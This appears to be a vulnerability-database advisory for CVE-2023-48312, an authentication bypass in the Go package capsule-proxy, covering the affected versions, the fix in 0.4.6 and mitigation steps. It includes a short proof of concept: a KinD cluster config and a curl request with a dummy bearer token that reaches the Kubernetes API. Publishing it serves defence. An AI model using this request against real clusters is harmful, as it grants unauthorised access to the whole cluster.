CVE-2023-48312 is a critical-severity (CVSS 9.8) Improper Authentication vulnerability in github.com/projectcapsule/capsule-proxy. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for github.com/projectcapsule/capsule-proxy — see the affected versions and patch details below.
Authentication bypass using an empty token in capsule-proxy
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/projectcapsule/capsule-proxy🐹github.com/clastix/capsule-proxyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
The privilege escalation is based on a missing check if the user is authenticated based on the TokenReview result.
All the clusters running with the anonymous-auth Kubernetes API Server setting disable (set to false) are affected since it would be possible to bypass the token review mechanism, interacting with the upper Kubernetes API Server.
PoC
Start a KinD cluster with the anonymous-auth value to false.
If it is true, it uses anonymous permissions which are very limited by default
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
kubeadmConfigPatches:
- |
kind: ClusterConfiguration
apiServer:
extraArgs:
anonymous-auth: "false"
Install capsule and capsule-proxy
k port-forward svc/capsule-proxy 9001
Forwarding from 127.0.0.1:9001 -> 9001
Forwarding from [::1]:9001 -> 9001
Handling connection for 9001
Then query the proxy
curl -g -k -H 'Authorization: Bearer f' -X 'GET' 'https://localhost:9001/api/v1/namespaces'
Impact
The whole cluster is exposed to unauthorised users.
This privilege escalation cannot be exploited if you're relying only on client certificates (SSL/TLS).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/projectcapsule/capsule-proxy | all versions | 0.4.6go get github.com/projectcapsule/capsule-proxy@v0.4.6 |
| 🐹Go | github.com/clastix/capsule-proxy | all versions | 0.4.6go get github.com/clastix/capsule-proxy@v0.4.6 |
Affected Products
capsule-proxyclastixResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/projectcapsule/capsule-proxy, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/projectcapsule/capsule-proxy to 0.4.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2023-48312 is resolved across your whole dependency graph.
Workarounds
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Frequently Asked Questions
Is CVE-2023-48312 in your dependencies?
Find it across Go, including transitive dependencies.